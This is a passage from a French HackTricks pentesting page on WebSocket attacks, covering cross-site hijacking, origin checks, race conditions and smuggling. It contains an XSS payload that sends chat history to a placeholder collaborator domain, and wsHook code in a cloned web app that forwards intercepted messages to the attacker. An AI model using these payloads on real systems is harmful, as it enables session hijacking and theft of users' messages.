Notez que lors de l'**établissement** d'une **connexion websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** peut l'utiliser pour **associer** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
|
||||
|
||||
Ensuite, si par **exemple** le **serveur websocket renvoie l'historique de la conversation** d'un utilisateur si un message avec "**READY**" est envoyé, alors une **simple XSS** établissant la connexion (le **cookie** sera **envoyé automatiquement** pour autoriser l'utilisateur victime) **en envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
websocket.onmessage = handleReply
|
||||
function start(event) {
|
||||
websocket.send("READY"); //Send the message to retreive confidential information
|
||||
}
|
||||
function handleReply(event) {
|
||||
//Exfiltrate the confidential information to attackers server
|
||||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Cross Origin + Cookie avec un sous-domaine différent
|
||||
|
||||
Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du code JavaScript arbitraire dans un sous-domaine** du domaine où la communication du websocket avait lieu. Étant donné que c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et de **voler des jetons**.
|
||||
|
||||
### Vol de données utilisateur
|
||||
|
||||
Copiez l'application web que vous souhaitez usurper (les fichiers .html par exemple) et ajoutez ce code à l'intérieur du script où la communication du websocket a lieu :
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
<script src='wsHook.js'></script>
|
||||
|
||||
//These are the functions that are gonig to be executed before a message
|
||||
//is sent by the client or received from the server
|
||||
//These code must be between some <script> tags or inside a .js file
|
||||
wsHook.before = function(data, url) {
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", "client_msg?m="+data, true);
|
||||
xhttp.send();
|
||||
}
|
||||
wsHook.after = function(messageEvent, url, wsObject) {
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||||
xhttp.send();
|
||||
return messageEvent;
|
||||
}
|
||||
```
|
||||
Maintenant, téléchargez le fichier `wsHook.js` depuis [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) et **enregistrez-le dans le dossier contenant les fichiers web**.\
|
||||
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket :
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
## Conditions de concurrence
|
||||
|
||||
Les conditions de concurrence dans les WebSockets sont également un problème, [consultez ces informations pour en savoir plus](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Autres vulnérabilités
|
||||
|
||||
Étant donné que les WebSockets sont un mécanisme permettant d'envoyer des données côté serveur et côté client, en fonction de la manière dont le serveur et le client traitent les informations, les WebSockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités telles que XSS, SQLi ou toute autre vulnérabilité web courante en utilisant les entrées d'un utilisateur provenant d'un WebSocket.
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Cette vulnérabilité pourrait vous permettre de contourner les restrictions des serveurs mandataires inverses en leur faisant croire qu'une communication WebSocket a été établie (même si ce n'est pas vrai). Cela pourrait permettre à un attaquant d'accéder à des points de terminaison cachés. Pour plus d'informations, consultez la page suivante :
|
||||
|
||||
{% content-ref url="h2c-smuggling.md" %}
|
||||
[h2c-smuggling.md](h2c-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Références
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Loading…
Reference in a new issue